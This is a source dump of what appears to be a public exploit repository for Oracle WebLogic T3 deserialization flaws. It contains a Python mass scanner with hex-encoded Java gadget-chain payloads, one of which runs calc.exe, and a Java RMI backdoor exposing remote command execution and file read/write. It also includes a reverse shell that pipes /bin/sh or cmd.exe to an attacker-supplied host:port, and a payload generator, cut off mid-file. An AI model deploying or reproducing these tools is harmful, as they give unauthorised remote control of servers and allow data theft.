0018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78', 16 | 'aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870', 17 | 'aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078', 18 | 'aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707729000a556e69636173745265660000000005a2000000005649e3fd00000000000000000000000000000078', 19 | 'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000001251e200000000000000100000118aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e310000f1440000000046911fd80000000000000000000000000000007878', 20 | ] 21 | VER_SIG=['weblogic.jms.common.StreamMessageImpl', 22 | 'org.apache.commons.collections.functors.InvokerTransformer', 23 | '\\$Proxy[0-9]+', 24 | '\\$Proxy[0-9]+', 25 | 'weblogic.jms.common.StreamMessageImpl' 26 | ] 27 | 28 | def t3handshake(sock,server_addr): 29 | sock.connect(server_addr) 30 | sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex')) 31 | time.sleep(1) 32 | sock.recv(1024) 33 | print('[!]{}:{} handshake successful'.format(server_addr[0],server_addr[1])) 34 | 35 | def buildT3RequestObject(dip,sock): 36 | data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' 37 | data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07' 38 | data3 = '1a7727000d3234322e323134' 39 | data4 = '2e312e32353461863d1d0000000078' 40 | for d in [data1,data2,data3,data4]: 41 | sock.send(d.decode('hex')) 42 | time.sleep(2) 43 | print('[!]{} send request payload successful,recv length:{}'.format(dip,len(sock.recv(2048)))) 44 | 45 | def sendEvilObjData(sock,data): 46 | payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' 47 | payload+=data 48 | payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' 49 | payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload) 50 | sock.send(payload.decode('hex')) 51 | time.sleep(2) 52 | res='NO_DATA' 53 | try: 54 | res=sock.recv(4096) 55 | except socket.timeout: 56 | pass 57 | # print res.encode('hex') 58 | return res 59 | 60 | def checkVul(res,server_addr,index): 61 | p=re.findall(VER_SIG[index], res, re.S) 62 | if len(p)>0: 63 | print('[+]%s:%d vul %s'%(server_addr[0],server_addr[1],VUL[index])) 64 | return True 65 | else: 66 | print('[-]%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])) 67 | return False 68 | 69 | def run(dip,dport,index): 70 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 71 | ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整 72 | sock.settimeout(60) 73 | server_addr = (dip, dport) 74 | t3handshake(sock,server_addr) 75 | buildT3RequestObject(dip,sock) 76 | rs=sendEvilObjData(sock,PAYLOAD[index]) 77 | checkVul(rs,server_addr,index) 78 | 79 | def exp(target): 80 | dip,dport = target 81 | vuls = [] 82 | for index in range(len(VUL)): 83 | try: 84 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 85 | ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整 86 | sock.settimeout(60) 87 | server_addr = (dip, dport) 88 | t3handshake(sock,server_addr) 89 | buildT3RequestObject(dip,sock) 90 | rs=sendEvilObjData(sock,PAYLOAD[index]) 91 | if checkVul(rs,server_addr,index): 92 | vuls.append(VUL[index]) 93 | except Exception as e: 94 | print('[-]{} fail:{}'.format(dip,str(e))) 95 | return {'ip':dip,'status':'ok' if len(vuls)>0 else 'fail','vuls':vuls} 96 | 97 | def load_target_from_file(filename,port): 98 | iplist = [] 99 | with open(filename) as f: 100 | for line in f: 101 | ip = line.strip() 102 | if len(ip)>0: 103 | iplist.append((ip,port)) 104 | return iplist 105 | 106 | def process_result(results): 107 | results_ok = [] 108 | results_fail = [] 109 | for r in results: 110 | if r['status'] == 'ok': 111 | results_ok.append('{}:{}'.format(r['ip'],','.join(r['vuls']))) 112 | else: 113 | results_fail.append(r['ip']) 114 | print('[+]vuls total:{}\n{}'.format(len(results_ok), '\n'.join(results_ok))) 115 | 116 | def main(): 117 | parser = argparse.ArgumentParser(description='weblogic scanner') 118 | parser.add_argument('-f','--file',default=None,help='read target ip from file') 119 | parser.add_argument('-t','--target',default=None,help='target ip') 120 | parser.add_argument('-p','--port',default='7001',help=' server port,default is 7001') 121 | 122 | args = parser.parse_args() 123 | if not args.file is None: 124 | iplist = load_target_from_file(args.file,int(args.port)) 125 | pool = Pool(10) 126 | results = pool.map(exp,iplist) 127 | pool.close() 128 | pool.join() 129 | process_result(results) 130 | elif not args.target is None: 131 | exp((args.target,int(args.port))) 132 | else: 133 | parser.print_help() 134 | print('You must set target ip or file!') 135 | 136 | if __name__=="__main__": 137 | main() 138 | -------------------------------------------------------------------------------- /exploit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/exploit.png -------------------------------------------------------------------------------- /src/InitApp/.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /src/InitApp/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | InitApp 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | 15 | org.eclipse.jdt.core.javanature 16 | 17 | 18 | -------------------------------------------------------------------------------- /src/InitApp/.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled 3 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 4 | org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve 5 | org.eclipse.jdt.core.compiler.compliance=1.6 6 | org.eclipse.jdt.core.compiler.debug.lineNumber=generate 7 | org.eclipse.jdt.core.compiler.debug.localVariable=generate 8 | org.eclipse.jdt.core.compiler.debug.sourceFile=generate 9 | org.eclipse.jdt.core.compiler.problem.assertIdentifier=error 10 | org.eclipse.jdt.core.compiler.problem.enumIdentifier=error 11 | org.eclipse.jdt.core.compiler.source=1.6 12 | -------------------------------------------------------------------------------- /src/InitApp/bin/weblogic/jndi/internal/InitApp.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/InitApp/bin/weblogic/jndi/internal/InitApp.class -------------------------------------------------------------------------------- /src/InitApp/bin/weblogic/jndi/internal/InitAppImpl.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/InitApp/bin/weblogic/jndi/internal/InitAppImpl.class -------------------------------------------------------------------------------- /src/InitApp/src/weblogic/jndi/internal/InitApp.java: -------------------------------------------------------------------------------- 1 | package weblogic.jndi.internal; 2 | 3 | import java.rmi.Remote; 4 | 5 | public interface InitApp extends Remote { 6 | String runCmd(String []cmd) ; 7 | String putFile(byte Content[],String Path); 8 | byte[] getFile(String Path); 9 | } 10 | -------------------------------------------------------------------------------- /src/InitApp/src/weblogic/jndi/internal/InitAppImpl.java: -------------------------------------------------------------------------------- 1 | package weblogic.jndi.internal; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.File; 5 | import java.io.FileInputStream; 6 | import java.io.FileNotFoundException; 7 | import java.io.FileOutputStream; 8 | import java.io.IOException; 9 | import java.io.InputStreamReader; 10 | import java.rmi.RemoteException; 11 | 12 | import javax.naming.Context; 13 | import javax.naming.InitialContext; 14 | 15 | public class InitAppImpl implements InitApp { 16 | private String name; 17 | 18 | public InitAppImpl(String s) 19 | throws RemoteException 20 | { 21 | this.name = s; 22 | } 23 | @Override 24 | public String runCmd(String[] cmd) { 25 | // TODO Auto-generated method stub 26 | try 27 | { 28 | Process proc = Runtime.getRuntime().exec(cmd); 29 | BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); 30 | StringBuffer sb = new StringBuffer(); 31 | String line=null; 32 | while ((line=br.readLine()) != null) { 33 | sb.append(line+"\n"); 34 | } 35 | return sb.toString(); 36 | } 37 | catch(Exception e) 38 | { 39 | System.out.print(e.getMessage()); 40 | return e.getMessage(); 41 | } 42 | } 43 | @Override 44 | public String putFile(byte Content[], String Path) { 45 | // TODO Auto-generated method stub 46 | try 47 | { 48 | FileOutputStream fo=new FileOutputStream(Path); 49 | fo.write(Content); 50 | fo.close(); 51 | return "ok"; 52 | } 53 | catch(Exception e) 54 | { 55 | //return e.getMessage(); 56 | return "fail"; 57 | } 58 | } 59 | @Override 60 | public byte[] getFile(String Path) { 61 | // TODO Auto-generated method stub 62 | File file = new File(Path); 63 | Long filelength = file.length(); 64 | byte[] filecontent = new byte[filelength.intValue()]; 65 | try { 66 | FileInputStream in = new FileInputStream(file); 67 | in.read(filecontent); 68 | in.close(); 69 | return filecontent; 70 | } catch (FileNotFoundException e) { 71 | e.printStackTrace(); 72 | return new byte[0]; 73 | } catch (IOException e) { 74 | e.printStackTrace(); 75 | return new byte[0]; 76 | } 77 | } 78 | public static void main(String args[]) throws Exception { 79 | try { 80 | InitAppImpl obj = new InitAppImpl("__WL_InitialLib"); 81 | Context ctx = new InitialContext(); 82 | ctx.bind("__WL_InitialLib", obj); 83 | //ctx.unbind("__WL_InitialLib"); 84 | } 85 | catch (Exception e) { 86 | System.err.println("__WL_InitialLib: an exception occurred:"); 87 | System.err.println(e.getMessage()); 88 | throw e; 89 | } 90 | } 91 | } 92 | -------------------------------------------------------------------------------- /src/manifest_payload.mf: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: genPayload 3 | Class-Path: collections_3.2.0.jar 4 | -------------------------------------------------------------------------------- /src/manifest_shell.mf: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: shellApp 3 | Class-Path: weblogic.jar javax.jar 4 | -------------------------------------------------------------------------------- /src/reverse_shell/.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /src/reverse_shell/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | reverse_shell 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | 15 | org.eclipse.jdt.core.javanature 16 | 17 | 18 | -------------------------------------------------------------------------------- /src/reverse_shell/.settings/org.eclipse.core.resources.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | encoding//src/Main.java=UTF-8 3 | -------------------------------------------------------------------------------- /src/reverse_shell/.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled 3 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 4 | org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve 5 | org.eclipse.jdt.core.compiler.compliance=1.6 6 | org.eclipse.jdt.core.compiler.debug.lineNumber=generate 7 | org.eclipse.jdt.core.compiler.debug.localVariable=generate 8 | org.eclipse.jdt.core.compiler.debug.sourceFile=generate 9 | org.eclipse.jdt.core.compiler.problem.assertIdentifier=error 10 | org.eclipse.jdt.core.compiler.problem.enumIdentifier=error 11 | org.eclipse.jdt.core.compiler.source=1.6 12 | -------------------------------------------------------------------------------- /src/reverse_shell/bin/Main.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/reverse_shell/bin/Main.class -------------------------------------------------------------------------------- /src/reverse_shell/bin/StreamConnector.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/reverse_shell/bin/StreamConnector.class -------------------------------------------------------------------------------- /src/reverse_shell/bin/reverse.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/reverse_shell/bin/reverse.jar -------------------------------------------------------------------------------- /src/reverse_shell/src/Main.java: -------------------------------------------------------------------------------- 1 | 2 | public class Main 3 | { 4 | public static void main(String[] args){ 5 | if(args.length!=1){ 6 | System.out.println("Usage:java Main [Host:Port]"); 7 | return; 8 | } 9 | R r = new R(args[0]); 10 | } 11 | } -------------------------------------------------------------------------------- /src/reverse_shell/src/R.java: -------------------------------------------------------------------------------- 1 | // Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. 2 | // Jad home page: http://www.kpdus.com/jad.html 3 | // Decompiler options: packimports(3) 4 | // Source File Name: R.java 5 | 6 | import java.net.Socket; 7 | 8 | public class R 9 | { 10 | 11 | public R(String ip) 12 | { 13 | reverseConn(ip); 14 | } 15 | 16 | public void reverseConn(String ip) 17 | { 18 | String ipport = ip; 19 | try 20 | { 21 | String ShellPath; 22 | if(System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) 23 | ShellPath = new String("/bin/sh"); 24 | else 25 | ShellPath = new String("cmd.exe"); 26 | Socket socket = new Socket(ipport.split(":")[0], Integer.parseInt(ipport.split(":")[1])); 27 | Process process = Runtime.getRuntime().exec(ShellPath); 28 | (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start(); 29 | (new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start(); 30 | (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start(); 31 | } 32 | catch(Exception e) 33 | { 34 | e.printStackTrace(); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/reverse_shell/src/StreamConnector.java: -------------------------------------------------------------------------------- 1 | // Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. 2 | // Jad home page: http://www.kpdus.com/jad.html 3 | // Decompiler options: packimports(3) 4 | // Source File Name: R.java 5 | 6 | import java.io.*; 7 | 8 | class StreamConnector extends Thread 9 | { 10 | 11 | StreamConnector(InputStream hx, OutputStream il) 12 | { 13 | this.hx = hx; 14 | this.il = il; 15 | } 16 | 17 | public void run() 18 | { 19 | BufferedReader ar = null; 20 | BufferedWriter slm = null; 21 | try 22 | { 23 | ar = new BufferedReader(new InputStreamReader(hx)); 24 | slm = new BufferedWriter(new OutputStreamWriter(il)); 25 | char buffer[] = new char[8192]; 26 | int length; 27 | while((length = ar.read(buffer, 0, buffer.length)) > 0) 28 | { 29 | slm.write(buffer, 0, length); 30 | slm.flush(); 31 | } 32 | } 33 | catch(Exception exception) { } 34 | try 35 | { 36 | if(ar != null) 37 | ar.close(); 38 | if(slm != null) 39 | slm.close(); 40 | } 41 | catch(Exception exception1) { } 42 | } 43 | 44 | InputStream hx; 45 | OutputStream il; 46 | } 47 | -------------------------------------------------------------------------------- /src/weblogic_rebeyond/.classpath: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /src/weblogic_rebeyond/.project: -------------------------------------------------------------------------------- 1 | 2 | 3 | weblogic_rebeyond 4 | 5 | 6 | 7 | 8 | 9 | org.eclipse.jdt.core.javabuilder 10 | 11 | 12 | 13 | 14 | 15 | org.eclipse.jdt.core.javanature 16 | 17 | 18 | -------------------------------------------------------------------------------- /src/weblogic_rebeyond/.settings/org.eclipse.jdt.core.prefs: -------------------------------------------------------------------------------- 1 | eclipse.preferences.version=1 2 | org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled 3 | org.eclipse.jdt.core.compiler.codegen.methodParameters=do not generate 4 | org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 5 | org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve 6 | org.eclipse.jdt.core.compiler.compliance=1.6 7 | org.eclipse.jdt.core.compiler.debug.lineNumber=generate 8 | org.eclipse.jdt.core.compiler.debug.localVariable=generate 9 | org.eclipse.jdt.core.compiler.debug.sourceFile=generate 10 | org.eclipse.jdt.core.compiler.problem.assertIdentifier=error 11 | org.eclipse.jdt.core.compiler.problem.enumIdentifier=error 12 | org.eclipse.jdt.core.compiler.source=1.6 13 | -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/Utils/RyClient.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/Utils/RyClient.class -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/collections_3.2.0.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/collections_3.2.0.jar -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/genPayload.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/genPayload.class -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/genPayload.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/genPayload.jar -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/javax.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/javax.jar -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/payload/GenInstallPayload.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/payload/GenInstallPayload.class -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/payload/GenPayload.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/payload/GenPayload.class -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/payload/GenReversePayload.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/payload/GenReversePayload.class -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/payload_bin/inst.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/payload_bin/inst.jar -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/payload_bin/reverse.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/payload_bin/reverse.jar -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/payload_bin/uninst.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/payload_bin/uninst.jar -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/shellApp.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/shellApp.class -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/shellApp.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/shellApp.jar -------------------------------------------------------------------------------- /src/weblogic_rebeyond/bin/weblogic.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hanc00l/weblogic_unserialize_exploit/0bfc54e45ad9b386b150de92a3fdb96485d6ad1b/src/weblogic_rebeyond/bin/weblogic.jar -------------------------------------------------------------------------------- /src/weblogic_rebeyond/src/Utils/RyClient.java: -------------------------------------------------------------------------------- 1 | package Utils; 2 | 3 | import java.util.Hashtable; 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | 7 | public class RyClient 8 | { 9 | public static final String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; 10 | int port; 11 | String host; 12 | 13 | public static InitialContext getInitialContext(String url) 14 | throws NamingException 15 | { 16 | Hashtable env = new Hashtable(); 17 | env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory"); 18 | env.put("java.naming.provider.url", url); 19 | return new InitialContext(env); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /src/weblogic_rebeyond/src/genPayload.java: -------------------------------------------------------------------------------- 1 | 2 | import java.io.BufferedOutputStream; 3 | import java.io.DataOutputStream; 4 | import java.io.File; 5 | import java.io.FileInputStream; 6 | import java.io.FileNotFoundException; 7 | import java.io.FileOutputStream; 8 | import java.io.IOException; 9 | import payload.GenInstallPayload; 10 | import payload.GenPayload; 11 | import payload.GenReversePayload; 12 | 13 | public class genPayload { 14 | 15 | public static void main(String[] args) { 16 | // TODO Auto-generated method stub 17 | if(args.length<2){ 18 | printUsage(); 19 | return; 20 | } 21 | String OS=args[0]; 22 | String Payload_Type=args[1]; 23 | String fileName=""; 24 | // 25 | if(OS.equals("win")) OS="Windows"; 26 | else OS="Linux"; 27 | if (Payload_Type.equals("inst"))Payload_Type="Install"; 28 | else if(Payload_Type.equals("uninst")) Payload_Type="Uninstall"; 29 | // 30 | byte[] payload=null; 31 | if(Payload_Type.equals("upload_inst")){ 32 | fileName="payload_"+OS+"_upload_inst.bin"; 33 | byte[] payload_initapp=loadInitAppPayload("Install"); 34 | payload=genWritePayload(OS,payload_initapp); 35 | } 36 | else if(Payload_Type.equals("upload_uninst")){ 37 | fileName="payload_"+OS+"_upload_uninst.bin"; 38 | byte[] payload_initapp=loadInitAppPayload("Uninstall"); 39 | payload=genWritePayload(OS,payload_initapp); 40 | } 41 | else if(Payload_Type.equals("Install") ){ 42 | fileName="payload_"+OS+"_inst.bin"; 43 | payload=genInstPayload(OS); 44 | } 45 | else if(Payload_Type.equals("Uninstall") ){ 46 | fileName="payload_"+OS+"_uninst.bin"; 47 | payload=genInstPayload(OS); 48 | } 49 | else if(Payload_Type.equals("delete")){ 50 | fileName="payload_"+OS+"_delete.bin"; 51 | payload=genDeleteFilePayload(OS); 52 | } 53 | else if(Payload_Type.equals("upload_reverse")){ 54 